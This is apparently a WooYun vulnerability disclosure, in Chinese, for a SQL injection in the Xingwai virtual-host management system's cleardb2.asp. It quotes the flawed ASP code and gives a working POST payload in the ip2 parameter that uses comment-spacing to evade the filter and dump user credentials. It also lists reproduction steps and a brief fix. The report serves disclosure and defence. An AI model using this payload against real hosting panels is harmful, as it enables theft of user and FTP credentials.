当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0188834

漏洞标题:星外虚拟主机管理系统SQL注射漏洞

相关厂商:广州星外信息科技有限公司

漏洞作者: applychen

提交时间:2016-03-25 10:50

修复时间:2016-06-27 16:50

公开时间:2016-06-27 16:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-25: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已经确认,细节仅向厂商公开
2016-04-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-23: 细节向核心白帽子及相关领域专家公开
2016-06-02: 细节向普通白帽子公开
2016-06-12: 细节向实习白帽子公开
2016-06-27: 细节向公众公开

简要描述:

大家熟知的星外虚拟主机管理系统SQL注射,能查询库内所有的用户密码/虚拟主机/FTP等信息,影响广泛。

详细说明:

在/sqladm/cleardb2.asp文件中:

<%
If session("SqlAUID")="" Then
ef=True
ec="授权非法,有可能是超时造成的。"
ElseIf Request("id")="" Then
ef=True
ec="请输入产品ID!"
ElseIf Instr(1, Request("id"), "'", 1)>0 then
ef=True
ec="非法产品ID!"
ElseIf not IsNumeric(Request("id")) Then
ef=True
ec="产品ID应该是数字!"
ElseIf Instr(1, session("username"), "'", 1)>0 then
ef=True
ec="非法用户名!"
end if
if not ef then
Set conn=Server.CreateObject("ADODB.Connection")
conn.Open Application("FreeHostDBlink")
Set dsph = Server.CreateObject("ADODB.Recordset")
Sql="Select * from FreeHost.FreeHost_Product_Sql where id='"&session("SqlAUID")&"'"
if Instr(1,sql, ";", 1)>0 or Instr(1,sql, "--", 1)>0 then
Response.Write "非法字符!"
Response.End
end if
dsph.Open Sql,conn,1,3
if dsph.Eof then
ef=True
ec="不存在的库ID!"
end if
end if
……
……
for iipsec=1 to 2
'response.write dsph("ip"&iipsec)&iipsec&"<br>"
if not isnull(dsph("ip"&iipsec)) then
Set dsphip = Server.CreateObject("ADODB.Recordset")
Sql="Select * from FreeHost.FreeHost_Product_Sql where (ip1='"&dsph("ip"&iipsec)&"' or ip2='"&Request("ip"&iipsec)&"') and id<>'"&dsph ("id")&"'"
if Instr(1,sql, ";", 1)>0 or Instr(1,sql, "--", 1)>0 then
Response.Write "非法字符!"
Response.End
end if
dsphip.Open Sql,conn,1,3
if dsphip.Eof then


注意以下代码:

Sql="Select * from FreeHost.FreeHost_Product_Sql where (ip1='"&dsph("ip"&iipsec)&"' or ip2='"&Request("ip"&iipsec)&"') and id<>'"&dsph ("id")&"'"


可以看到Request("ip"&iipsec)进行获取数据,即:

Request(ip1)
Request(ip1)


这里过滤了;(分号)以及--(注释符)就直接入库查询,造成SQL注射,注意这里还要满足一个IF条件:

if not isnull(dsph("ip"&iipsec)) then


dsph("ip"&iipsec)为从数据库中查询出的远程IP,在setip.asp中设置。
下面进行以**.**.**.**为例进行测试,首先注册一个账户并登录,在左侧点击开通数据库。

1.png


然后找一个能够免费试用进行实时开通(付费的测不起-_-):

3.png


开通成功后点击左侧的数据库管理:

5.png


首先设置远程访问IP(满足IF条件):

7.png


然后点击清空数据库-->马上执行,不可恢复,抓取数据包:

9.png


在POST数据中插入SQL注射的参数ip1或者ip2,完整数据包如下:

POST /sqladm/cleardb2.asp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/sqladm/cleardb.asp?id=887
Cookie: ASPSESSIONIDAABRQBQA=IEOJAHKBFLGOIKHEPHMACNCB; Hm_lvt_23f149cf9f1c205b13c96c4a43146e0b=1458834688; Hm_lpvt_23f149cf9f1c205b13c96c4a43146e0b=1458835916
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
openX=%C2%ED%C9%CF%D6%B4%D0%D0%A3%AC%B2%BB%BF%C9%BB%D6%B8%B4&id=887&ip2=1')/**/and/**/(select/**/substring((select/**/username,password/**/from/**/FreeHost_USER/**/for/**/xml/**/auto),1,4000))=0/**/and('1'='1


查询出登录账户以及密码:

10.png


查询FTP账户密码登录IP:

13.png


列几个受影响的站点:

http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp

漏洞证明:

同上

修复方案:

过滤一下request('ip1')与request('ip2')

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2016-03-29 16:49

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给广东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无